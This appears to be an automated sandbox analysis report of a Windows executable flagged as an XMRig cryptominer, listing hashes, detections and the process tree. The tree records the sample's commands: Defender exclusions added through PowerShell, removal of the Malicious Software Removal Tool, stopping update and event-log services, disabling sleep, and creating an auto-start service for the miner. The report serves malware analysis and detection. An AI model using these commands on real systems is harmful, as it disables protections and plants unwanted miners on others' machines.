Analysis
-
max time kernel
17s -
max time network
19s -
platform
windows7_x64 -
resource
win7-20241010-en -
resource tags
arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system -
submitted
20-12-2024 02:36
Static task
static1
Behavioral task
behavioral1
Sample
864f8d728fd6ecb0153dadb7bb59e05a5bf9ba5db2c5377054cb7891ad714c4fN.exe
Resource
win7-20241010-en
General
-
Target
864f8d728fd6ecb0153dadb7bb59e05a5bf9ba5db2c5377054cb7891ad714c4fN.exe
-
Size
5.6MB
-
MD5
9a78c17d7ab3944824f72e6f4340b070
-
SHA1
20e746354a6bd3674eea8ebf51811fef77e06c79
-
SHA256
864f8d728fd6ecb0153dadb7bb59e05a5bf9ba5db2c5377054cb7891ad714c4f
-
SHA512
cc721b95ca8a7795a8c42fc40c5782ce23fb933b5064b6b27c91e9bc41f0f994776ff91404f454b946e836cfb01c3e7c485bc0d6cc5557976ce3532e1404d2ee
-
SSDEEP
98304:xRjPz9KDzUU8O5/B/LJ25E9SVh86sS3TRknQ3ss2MApp9meypA3cPDu7:xFKoU8O5/b2XViSjX310SeyGc7u7
Malware Config
Signatures
-
Xmrig family
-
XMRig Miner payload 8 IoCs
resource yara_rule behavioral1/memory/2448-32-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2448-34-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2448-38-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2448-37-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2448-36-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2448-35-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2448-31-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2448-39-0x0000000140000000-0x0000000140848000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2308 powershell.exe 2616 powershell.exe -
Creates new service(s) 2 TTPs
-
Executes dropped EXE 2 IoCs
pid Process 472 Process not Found 2864 lutlgidagtja.exe -
Loads dropped DLL 1 IoCs
pid Process 472 Process not Found -
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 2684 powercfg.exe 2972 powercfg.exe 2956 powercfg.exe 3040 powercfg.exe 2988 powercfg.exe 2812 powercfg.exe 2816 powercfg.exe 2900 powercfg.exe -
Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\system32\MRT.exe 864f8d728fd6ecb0153dadb7bb59e05a5bf9ba5db2c5377054cb7891ad714c4fN.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe lutlgidagtja.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2864 set thread context of 2088 2864 lutlgidagtja.exe 86 PID 2864 set thread context of 2448 2864 lutlgidagtja.exe 90 -
resource yara_rule behavioral1/memory/2448-32-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2448-30-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2448-34-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2448-38-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2448-37-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2448-36-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2448-35-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2448-28-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2448-27-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2448-31-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2448-26-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2448-29-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2448-39-0x0000000140000000-0x0000000140848000-memory.dmp upx -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\wusa.lock wusa.exe File created C:\Windows\wusa.lock wusa.exe -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2756 sc.exe 1492 sc.exe 1916 sc.exe 2784 sc.exe 2912 sc.exe 2652 sc.exe 2312 sc.exe 1176 sc.exe 1668 sc.exe 2680 sc.exe 2288 sc.exe 2084 sc.exe 1872 sc.exe 2800 sc.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 70b08bf68752db01 powershell.exe -
Suspicious behavior: EnumeratesProcesses 31 IoCs
pid Process 2556 864f8d728fd6ecb0153dadb7bb59e05a5bf9ba5db2c5377054cb7891ad714c4fN.exe 2308 powershell.exe 2556 864f8d728fd6ecb0153dadb7bb59e05a5bf9ba5db2c5377054cb7891ad714c4fN.exe 2556 864f8d728fd6ecb0153dadb7bb59e05a5bf9ba5db2c5377054cb7891ad714c4fN.exe 2556 864f8d728fd6ecb0153dadb7bb59e05a5bf9ba5db2c5377054cb7891ad714c4fN.exe 2556 864f8d728fd6ecb0153dadb7bb59e05a5bf9ba5db2c5377054cb7891ad714c4fN.exe 2556 864f8d728fd6ecb0153dadb7bb59e05a5bf9ba5db2c5377054cb7891ad714c4fN.exe 2556 864f8d728fd6ecb0153dadb7bb59e05a5bf9ba5db2c5377054cb7891ad714c4fN.exe 2556 864f8d728fd6ecb0153dadb7bb59e05a5bf9ba5db2c5377054cb7891ad714c4fN.exe 2556 864f8d728fd6ecb0153dadb7bb59e05a5bf9ba5db2c5377054cb7891ad714c4fN.exe 2556 864f8d728fd6ecb0153dadb7bb59e05a5bf9ba5db2c5377054cb7891ad714c4fN.exe 2556 864f8d728fd6ecb0153dadb7bb59e05a5bf9ba5db2c5377054cb7891ad714c4fN.exe 2556 864f8d728fd6ecb0153dadb7bb59e05a5bf9ba5db2c5377054cb7891ad714c4fN.exe 2556 864f8d728fd6ecb0153dadb7bb59e05a5bf9ba5db2c5377054cb7891ad714c4fN.exe 2556 864f8d728fd6ecb0153dadb7bb59e05a5bf9ba5db2c5377054cb7891ad714c4fN.exe 2556 864f8d728fd6ecb0153dadb7bb59e05a5bf9ba5db2c5377054cb7891ad714c4fN.exe 2556 864f8d728fd6ecb0153dadb7bb59e05a5bf9ba5db2c5377054cb7891ad714c4fN.exe 2864 lutlgidagtja.exe 2616 powershell.exe 2864 lutlgidagtja.exe 2864 lutlgidagtja.exe 2864 lutlgidagtja.exe 2864 lutlgidagtja.exe 2864 lutlgidagtja.exe 2864 lutlgidagtja.exe 2864 lutlgidagtja.exe 2864 lutlgidagtja.exe 2864 lutlgidagtja.exe 2864 lutlgidagtja.exe 2864 lutlgidagtja.exe 2864 lutlgidagtja.exe -
Suspicious use of AdjustPrivilegeToken 9 IoCs
description pid Process Token: SeDebugPrivilege 2308 powershell.exe Token: SeShutdownPrivilege 2684 powercfg.exe Token: SeShutdownPrivilege 2900 powercfg.exe Token: SeShutdownPrivilege 2816 powercfg.exe Token: SeShutdownPrivilege 2812 powercfg.exe Token: SeDebugPrivilege 2616 powershell.exe Token: SeShutdownPrivilege 2988 powercfg.exe Token: SeShutdownPrivilege 3040 powercfg.exe Token: SeShutdownPrivilege 2956 powercfg.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 2752 wrote to memory of 2192 2752 cmd.exe 39 PID 2752 wrote to memory of 2192 2752 cmd.exe 39 PID 2752 wrote to memory of 2192 2752 cmd.exe 39 PID 1948 wrote to memory of 2876 1948 cmd.exe 64 PID 1948 wrote to memory of 2876 1948 cmd.exe 64 PID 1948 wrote to memory of 2876 1948 cmd.exe 64 PID 1632 wrote to memory of 1712 1632 cmd.exe 74 PID 1632 wrote to memory of 1712 1632 cmd.exe 74 PID 1632 wrote to memory of 1712 1632 cmd.exe 74 PID 2864 wrote to memory of 2088 2864 lutlgidagtja.exe 86 PID 2864 wrote to memory of 2088 2864 lutlgidagtja.exe 86 PID 2864 wrote to memory of 2088 2864 lutlgidagtja.exe 86 PID 2864 wrote to memory of 2088 2864 lutlgidagtja.exe 86 PID 2864 wrote to memory of 2088 2864 lutlgidagtja.exe 86 PID 2864 wrote to memory of 2088 2864 lutlgidagtja.exe 86 PID 2864 wrote to memory of 2088 2864 lutlgidagtja.exe 86 PID 2864 wrote to memory of 2088 2864 lutlgidagtja.exe 86 PID 2864 wrote to memory of 2088 2864 lutlgidagtja.exe 86 PID 2864 wrote to memory of 2448 2864 lutlgidagtja.exe 90 PID 2864 wrote to memory of 2448 2864 lutlgidagtja.exe 90 PID 2864 wrote to memory of 2448 2864 lutlgidagtja.exe 90 PID 2864 wrote to memory of 2448 2864 lutlgidagtja.exe 90 PID 2864 wrote to memory of 2448 2864 lutlgidagtja.exe 90
Processes
-
C:\Users\Admin\AppData\Local\Temp\864f8d728fd6ecb0153dadb7bb59e05a5bf9ba5db2c5377054cb7891ad714c4fN.exe"C:\Users\Admin\AppData\Local\Temp\864f8d728fd6ecb0153dadb7bb59e05a5bf9ba5db2c5377054cb7891ad714c4fN.exe"1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:2556 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2308
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2752 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2192
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2784
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2912
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:2800
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:2652
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2680
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2684
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2900
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2816
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2812
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "JIOGRCSG"2⤵
- Launches sc.exe
PID:2756
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "JIOGRCSG" binpath= "C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe" start= "auto"2⤵
- Launches sc.exe
PID:2288
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog2⤵
- Launches sc.exe
PID:2312
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "JIOGRCSG"2⤵
- Launches sc.exe
PID:2084
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\864f8d728fd6ecb0153dadb7bb59e05a5bf9ba5db2c5377054cb7891ad714c4fN.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:1948 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2876
-
-
-
C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exeC:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2864 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2616
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:1632 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:1712
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:1492
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:1872
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:1916
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:1176
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:1668
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2988
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3040
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2956
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
PID:2972
-
-
C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵PID:2088
-
-
C:\Windows\system32\nslookup.exenslookup.exe2⤵PID:2448
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
5.6MB
MD59a78c17d7ab3944824f72e6f4340b070
SHA120e746354a6bd3674eea8ebf51811fef77e06c79
SHA256864f8d728fd6ecb0153dadb7bb59e05a5bf9ba5db2c5377054cb7891ad714c4f
SHA512cc721b95ca8a7795a8c42fc40c5782ce23fb933b5064b6b27c91e9bc41f0f994776ff91404f454b946e836cfb01c3e7c485bc0d6cc5557976ce3532e1404d2ee